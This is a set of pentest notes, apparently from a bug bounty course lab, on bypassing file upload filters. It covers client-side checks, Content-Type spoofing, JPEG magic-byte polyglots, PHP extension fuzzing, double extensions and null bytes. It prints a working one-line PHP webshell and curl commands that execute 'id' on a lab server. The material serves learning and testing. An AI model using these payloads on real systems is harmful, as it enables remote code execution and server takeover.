Filters

Absent Validation

Enumerate the technologies used on the server -> upload a same-language webshell.

whatweb <URL>

Client-Side Filters

The example below is based on TCM's Practical Bug Bounty course.

We should start by using the application as intended in order to understand how it works. In doing so, the uploads directory is revealed (/uploads) as well as some extension filters (Figure 1).

Figure 1: Using the application's functionality as intended.

If we inspect the front-end code, we will notice that the file validation check happens on the client-side (Figure 2).

Figure 2: Inspecting the application's source code.

We can try bypassing this check and upload a webshell by intercepting the request before it reaches the server, but after passing the above validateFileInput check (Figure 3).

<?php system($_GET['cmd']); ?>
Figure 3: Bypassing the client-side filter and achieving RCE.

Server-side Filters

Type Filters

  1. MIME type -> indicates that nature and format of a file.

  2. Content-Type header -> tells the receiving machine what type of data to expect and how to interpret it.

If the server implicitly trusts the Content-Type header's value and no further validation is performed, then by changing its value to an expected content type before it reaches the server will result in bypassing this filter (Figure 4).

Figure 4: Bypassing the server-side filter by modifying the Content-Type header.

The example below is based on TCM's Practical Bug Bounty course.

Except checking the Content-Type header's value, or in addition to it, the server might actually check the file's content. In this case, polyglot files, i.e., files that different application interpret in different ways, can be created to trick the application. This can be achieve by modifying the file's magic bytes, aka headers or signatures. For instance, the application below has both a client-side and a server-side filter (Figure 5).

Figure 5: The server-side filter does not allow us to upload our webshell.

We can try adding the JPG magic bytes to our webshell using a tool such as hexedit or hexeditor (Figure 6), which might trick the system into uploading it.

# original webshell
$ cat webshell.php
<?php system($_GET['cmd']); ?>
# system recognizes as a PHP script
$ file webshell.php
webshell.php: PHP script, ASCII text
$ file --mime-type webshell.php
../user-content/webshell.php: text/x-php
# add 4 random bytes at the start of it
$ cat webshell.php
AAAA<?php system($_GET['cmd']); ?>
# change the 4 bytes to FF D8 FF E0
$ hexeditor webshell.php
Figure 6: Editing the file's magic bytes.

Next, we can check if the file is now recognized as an image file instead of a PHP script.

# confirm the change
$ cat webshell.php
����<?php system($_GET['cmd']); ?>
# system recongizes as a JPEG file
$ file webshell.php
webshell.php: JPEG image data
$ file --mime-type webshell.php
webshell.php: image/jpeg

To upload the shell we must first bypass the client-side extension filter by adding an image extension to the file and then remove that extension via our proxy, so the server is able to execute it (Figure 7).

Figure 7: Bypassing both the client-side and server-side filters.

Finally, we can interact with the webshell either via the browser or using curl.

$ curl http://localhost/labs/uploads/webshell.php?cmd=id
����uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blacklists/Whitelists

Sometimes a server-side filter can be based on a whitelist or a blacklist (Figure 8).

Figure 8: A blacklist-based server side filter blocking .php file extensions.

In this case, we can fuzz the file extension and see if any valid PHP extension has been left out of it (Figure 9).

Figure 9: Fuzzing for valid php extensions.

By trying both php5 and phtml , we see that only the latter works as the server is not configured to interpret the former as a valid PHP script.

$ curl http://localhost/labs/uploads/shell.php5?cmd=id
����<?php system($_GET['cmd']); ?>

$ curl http://localhost/labs/uploads/shell.phtml?cmd=id
����uid=33(www-data) gid=33(www-data) groups=33(www-data)

Some filters might only check if the extension exists within the file name, which can be bypassed by renaming the file to webshell.jpg.phar (double extension method). Others, might require for the file name to end with an allowed extension so we will have to switch the extensions over, i.e., webshell.phar.jpg (Figure 10) (reverse double extension method).

Figure 10: Bypassing the extension filter using double extensions.

In case we can use the reverse double extension method, the file will be uploaded but it might not be able to execute. Instead it can be served as a direct download (Figure 11.1) or as a page (Figure 11.2).

Figure 11: The webshell script treated as a direct download and a page.

This can be potentially bypassed by a null byte injection. The null byte (\x00) marks the end of a string in various programming languages. By injecting a URL-encoded null byte after the script's extension (.php) (Figure 13), the server might interpret it as the end of the string and ignore what comes after it, in this case, the .png extension. However, when the server later processes the file, it could read it as a PHP script and execute it.

Figure 13: Injecting a null byte in the file's name.

To access the file only the part before the null byte might be called, i.e., revshell.php.

Last updated

Was this helpful?